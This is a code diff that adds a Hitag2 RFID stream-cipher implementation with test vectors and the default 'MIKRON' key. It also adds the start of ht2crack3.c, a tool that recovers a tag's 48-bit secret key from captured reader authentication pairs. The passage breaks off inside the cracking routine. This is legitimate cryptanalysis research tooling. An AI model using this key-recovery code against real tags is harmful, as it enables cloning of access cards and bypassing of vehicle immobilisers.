RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + +// uncomment this to build file as a standalone crypto test program +// #define UNIT_TEST +// also uncomment to include verbose debug prints +// #define TEST_DEBUG + +//#include +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +#ifdef UNIT_TEST +#include +#endif + +#if defined(UNIT_TEST) && defined(TEST_DEBUG) +// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++. +// This may need changing for other compilers/platforms. +#define DEBUG_PRINTF(...) printf(__VA_ARGS__) +#else +#define DEBUG_PRINTF(...) +#endif + + +/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu) + + Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft + fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications. + At about the same time, late 1980s to early 1990s, Mikron developed the + similarly featured Mifare micropayment card for 13.56MHz RFID. + (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a + priority date of 23 Aug 1990.) + Mikron was subsequently acquired by Philips Semiconductors in 1995. + Philips Semiconductors divsion subsequently became NXP. + + + Modulation read/write device -> transponder: 100 % ASK and binary pulse + length coding + + Modulation transponder -> read/write device: Strong ASK modulation, + selectable Manchester or Biphase coding + + Hitag S, Hitag u; anti-collision procedure + + Fast anti-collision protocol + + Hitag u; optional Cyclic Redundancy Check (CRC) + + Reader Talks First mode + + Hitag 2 & later; Transponder Talks First (TTF) mode + + Temporary switch from Transponder Talks First into Reader Talks First + (RTF) Mode + + Data rate read/write device to transponder: 5.2 kbit/s + + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s + + 32-bit password feature + + Hitag 2, S = 32-bit Unique Identifier + + Hitag u = 48-bit Unique Identifier + + Selectable password modes for reader / tag mutual authentication + (Hitag 1 has 2 pairs of keys, later versions have 1 pair) + + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key + + Known tag types: + + HITAG 1 2048 bits total memory + + HITAG 2 256 Bit total memory Read/Write + 8 pages of 32 bits, inc UID (32), + secret key (64), password (24), config (8) + + HITAG S 32 32 bits Unique Identifier Read Only + HITAG S 256 256 bits total memory Read/Write + HITAG S 2048 2048 bits total memory Read/Write + + HITAG u RO64 64 bits total memory Read Only + HITAG u 128 bits total memory Read/Write + HITAG u Advanced 512 bits total memory Read/Write + HITAG u Advanced+ 1760 bits total memory Read/Write + + Default 48-bit key for Hitag 2, S encryption: + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 + +*/ + + +// We want the crypto functions to be as fast as possible, so optimize! +// The best compiler optimization in Microchip's free XC32 edition is -O1 +#pragma GCC optimize("O1") + +// private, nonlinear function to generate 1 crypto bit +static uint32_t hitag2_crypt(uint64_t x); + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex); + return (ht2_function5c >> bitindex) & 1; +} + +/* + * Parameters: + * Hitag_State* pstate - output, internal state after initialisation + * uint64_t sharedkey - 48 bit key shared between reader & tag + * uint32_t serialnum - 32 bit tag serial number + * uint32_t initvector - 32 bit random IV from reader, part of tag authentication + */ +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector) +{ + // init state, from serial number and lowest 16 bits of shared key + uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum; + + // mix the initialisation vector and highest 32 bits of the shared key + initvector ^= (uint32_t) (sharedkey >> 16); + + // move 16 bits from (IV xor Shared Key) to top of uint64_t state + // these will be XORed in turn with output of the crypto function + state |= (uint64_t) initvector << 48; + initvector >>= 16; + + // unrolled loop is faster on PIC32 (MIPS), do 32 times + // shift register, then calc new bit + state >>= 1; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + // highest 16 bits of IV XOR Shared Key + state |= (uint64_t) initvector << 47; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state ^= (uint64_t) hitag2_crypt(state) << 47; + + DEBUG_PRINTF("hitag2_init result = %012I64x\n", state); + pstate->shiftreg = state; + /* naive version for reference, LFSR has 16 taps + pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6) + ^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22) + ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47); + */ + { + // optimise with one 64-bit intermediate + uint64_t temp = state ^ (state >> 1); + pstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); + } +} + + +/* + * Return up to 32 crypto bits. + * Last bit is in least significant bit, earlier bits are shifted left. + * Note that the Hitag transmission protocol is least significant bit, + * so we may want to change this, or add a function, that returns the + * crypto output bits in the other order. + * + * Parameters: + * Hitag_State* pstate - in/out, internal cipher state after initialisation + * uint32_t steps - number of bits requested, (capped at 32) + */ +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps) +{ + uint64_t state = pstate->shiftreg; + uint32_t result = 0; + uint64_t lfsr = pstate->lfsr; + + if (steps == 0) + return 0; + +// if (steps > 32) +// steps = 32; + + do { + // update shift registers + if (lfsr & 1) { + state = (state >> 1) | 0x800000000000; + lfsr = (lfsr >> 1) ^ 0xB38083220073; + + // accumulate next bit of crypto + result = (result << 1) | hitag2_crypt(state); + } else { + state >>= 1; + lfsr >>= 1; + + result = (result << 1) | hitag2_crypt(state); + } + } while (--steps); + + DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result); + pstate->shiftreg = state; + pstate->lfsr = lfsr; + return result; +} + +// end of crypto core, revert to default optimization level +#pragma GCC reset_options + + +/* Test code + + Test data and below information about it comes from + http://www.mikrocontroller.net/attachment/102194/hitag2.c + Written by "I.C. Wiener 2006-2007" + + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + + The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". + The inverse of the first 4 bytes is sent to the tag to authenticate. + The rest is encrypted by XORing it with the subsequent keystream. + +*/ + + +/* +unsigned int hitag2_benchtest_gen32() +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + + // init crypto + hitag2_init(&state, key, serial, initvec); + + // benchmark: generation of 32 bit stream (excludes initialisation) + GetTimer_us(RESET); + + (void) hitag2_nstep(&state, 32); + + return GetTimer_us(NO_RESET); +} + + +unsigned int hitag2_benchtest(uint32_t count) +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + uint32_t i; + + // start timer + GetTimer_us(RESET); + + // benchmark: initialise crypto & generate 32 bit authentication + // adding i stops gcc optimizer moving init function call out of loop + for (i = 0; i < count; i++) { + hitag2_init(&state, key, serial, initvec + i); + (void) hitag2_nstep(&state, 32); + } + + return GetTimer_us(NO_RESET); +} + + +unsigned hitag2_verifytest() +{ + uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; + // key = 0x4ad292b272f2 after each byte has its bit order reversed + // serial = 0x96eac292 ditto + // initvec = 0x4ea276a6 ditto + const uint64_t key = rev64 (0x524B494D4E4FUL); + const uint32_t serial = rev32 (0x69574349); + const uint32_t initvec = rev32 (0x72456E65); + + uint32_t i; + Hitag_State state; + + // initialise + hitag2_init(&state, key, serial, initvec); + + for (i = 0; i < 16; i++) { + // get 8 bits of keystream + uint8_t x = (uint8_t) hitag2_nstep(&state, 8); + uint8_t y = expected[i]; + + DEBUG_PRINTF ("%02X (%02X) \n", x, y); + if (x != y) + return 0; + } + + return 1; +} +*/ + +#ifdef UNIT_TEST + +int main(int argc, char* argv[]) +{ + unsigned pass = hitag2_verifytest(); + + printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL"); + + if (pass) { + hitag2_benchtest(10000); + } + + return 0; +} + +#endif // UNIT_TEST diff --git a/tools/hitag2crack/crack3/hitagcrypto.h b/tools/hitag2crack/crack3/hitagcrypto.h new file mode 100644 index 000000000..d5aa9104c --- /dev/null +++ b/tools/hitag2crack/crack3/hitagcrypto.h @@ -0,0 +1,171 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + + +#ifndef HITAGCRYPTO_H +#define HITAGCRYPTO_H + +#include + +/* + Our model of Hitag 2 crypto uses 2 parallel shift registers: + a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function. + b. 48 bit Linear Feedback Shift Register (LFSR). + A transform of initial register (a) value, which is then run in parallel. + Enables much faster calculation of the feedback values. + + API: + void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, + uint32_t initvector); + Initialise state from 48 bit shared (secret) reader/tag key, + 32 bit tag serial number and 32 bit initialisation vector from reader. + + uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + update shift register state and generate N cipher bits (N should be <= 32) + */ + + +typedef struct { + uint64_t shiftreg; // naive shift register, required for nonlinear fn input + uint64_t lfsr; // fast lfsr, used to make software faster +} Hitag_State; + +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector); + +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + +unsigned int hitag2_benchtest_gen32(); +unsigned int hitag2_benchtest(uint32_t count); +unsigned hitag2_verifytest(); + +#endif /* HITAGCRYPTO_H */ + diff --git a/tools/hitag2crack/crack3/ht2crack3.c b/tools/hitag2crack/crack3/ht2crack3.c new file mode 100644 index 000000000..190f8197d --- /dev/null +++ b/tools/hitag2crack/crack3/ht2crack3.c @@ -0,0 +1,466 @@ +#include +#include +#include + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +// max number of NrAr pairs to load - you only need 136 good pairs, but this +// is the max +#define NUM_NRAR 1024 +#define NUM_THREADS 8 + +// table entry for Tkleft +struct Tklower { + uint64_t yxorb; + char notb32; + uint64_t klowery; +}; + +// table entry for nR aR pair +struct nRaR { + uint64_t nR; + uint64_t aR; +}; + +// struct to hold data for thread +struct threaddata { + uint64_t uid; + struct nRaR *TnRaR; + unsigned int numnrar; + uint64_t klowerstart; + uint64_t klowerrange; +}; + +void printbin(uint64_t val) +{ + int i; + + for (i=0; i<64; i++) { + if (val & 0x8000000000000000) { + printf("1"); + } else { + printf("0"); + } + val = val << 1; + } +} + +void printstate(Hitag_State *hstate) +{ + printf("shiftreg =\t"); + printbin(hstate->shiftreg); + printf("\n"); +} + + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +// these and the following hitag2_crypt function taken from Rfidler +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + + +// this function is a modification of the filter function f, based heavily +// on the hitag2_crypt function in Rfidler +int fnP(uint64_t klowery) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function4p = 0xAE83; // 1010 1110 1000 0011 + uint32_t i; + + i = (ht2_function4a >> pickbits2_2 (klowery, 2, 5)) & 1; + i |= ((ht2_function4b << 1) >> pickbits1_1_2 (klowery, 8, 12, 14)) & 0x02; + i |= ((ht2_function4b << 2) >> pickbits1x4 (klowery, 17, 21, 23, 26)) & 0x04; + i |= ((ht2_function4b << 3) >> pickbits2_1_1 (klowery, 28, 31, 33)) & 0x08; + + // modified to use reference implementation approach + // orig fc table is 0x7907287B = 0111 1001 0000 0111 0010 1000 0111 1011 + // we ignore the top bit (bit 4) of the parameter, so therefore create a new + // table that indicates which bit positions are the same if the top bit is 1 or 0 + return (ht2_function4p >> i) & 1; +} + +// comparison function for sorting/searching Tklower entries +int Tk_cmp(const void *v1, const void *v2) +{ + const struct Tklower *Tk1 = (struct Tklower *)v1; + const struct Tklower *Tk2 = (struct Tklower *)v2; + + if (Tk1->yxorb < Tk2->yxorb) { + return -1; + } else if (Tk1->yxorb > Tk2->yxorb) { + return 1; + } + + return 0; +} + +// test for bad guesses of kmiddle +int is_kmiddle_badguess(uint64_t z, struct Tklower *Tk, int max, int aR0) { + + struct Tklower *result, target; + + // "If there is an entry in Tklower for which y ^ b = z but !b32 != aR[0] + // then the attacker learns that kmiddle is a bad guess... otherwise, if + // !b32 == aR[0] then kmiddle is still a viable guess." + + target.yxorb = z; + target.notb32 = 0; + result = (struct Tklower *)bsearch(&target, Tk, max, sizeof(struct Tklower), Tk_cmp); + + if (result) { + if (result->notb32 != aR0) { + return 1; + } + } else { + return 2; + } + + return 0; +} + +// function to test if a partial key is valid +int testkey(uint64_t *out, uint64_t uid, uint64_t pkey, uint64_t nR, uint64_t aR) +{ + uint64_t kupper; + uint64_t key; + Hitag_State hstate; + uint64_t b; + uint32_t revaR; + uint32_t normaR; + + // normalise aR + revaR = rev32(aR); + normaR = ((revaR >> 24) | ((revaR >> 8) & 0xff00) | ((revaR << 8) & 0xff0000) | (revaR << 24)); + + // search for remaining 14 bits + for (kupper=0; kupper < 0x3fff; kupper++) { + key = (kupper << 34) | pkey; + hitag2_init(&hstate, key, uid, nR); + b = hitag2_nstep(&hstate, 32); + if ((normaR ^ b) == 0xffffffff) { + *out = key; + return 1; + } + } + return 0; +} + + + + + + + +// some notes on how I think this attack should work. +// due to the way fc works, in a number of cases, it doesn't matter what +// the most significant bits are doing for it to produce the same result. +// These are the most sig 14 bits to be clear. Looking at fc it is poss +// to see cases where the most sig bit of the input to fc (which is made +// from fa on 4 of the most sig bits from bit 34 onwards) does not affect +// whether it gives a 0 or 1 as the input 0b0ABCD gives the same bit value +// as input 0b1ABCD. +// The PRNG is initialised by setting the lower 32 bits to the UID, with +// the upper 16 bits set to the lower 16 bits of the key. Next the 32 +// upper bits of the key are XORed with the private nonce and these are +// shifted in, with the PRNG outputting bits b0 to b31. These bits are +// used to encrypt (XOR with) the nonce to produce nR, which is sent to +// the card. +// (The card should init the PRNG with the same UID and lower 16 bits of +// the key, receive the nR, then shift it in bit by bit while xoring each +// bit with its output, and the key - this essentially decrypts the nR to +// the nonce XOR the upper 32 bits of the key, while shifting it in. +// The card's PRNG will then be in the same state as the RWD.) +// By knowing the UID and guessing the lower 16 bits of the key, and +// focusing on nR values that don't affect the upper bits of fc, we can +// limit our guesses to a smaller set than a full brute force and +// effectively work out candidates for the lower 34 bits of the key. + + +void *crack(void *d) +{ + struct threaddata *data = (struct threaddata *)d; + uint64_t uid; + struct nRaR *TnRaR; + unsigned int numnrar; + + Hitag_State hstate; + int i, j; + + uint64_t klower; + uint64_t kmiddle; + uint64_t y; + uint64_t ytmp; + uint64_t klowery; + unsigned int count = 0; + uint64_t bit; + uint64_t b; + uint64_t z; + uint64_t foundkey; + uint64_t revkey; + int ret; + unsigned int found = 0; + unsigned int badguess = 0; + + struct Tklower *Tk = NULL; + + if (!data) { + printf("Thread data is NULL\n"); + exit(1); + } + + uid = data->uid; + TnRaR = data->TnRaR; + numnrar = data->numnrar; + + // create space for tables + Tk = (struct Tklower *)malloc(sizeof(struct Tklower) * 0x40000); + if (!Tk) { + printf("cannot malloc Tk\n"); + exit(1); + } + + // find keys + for 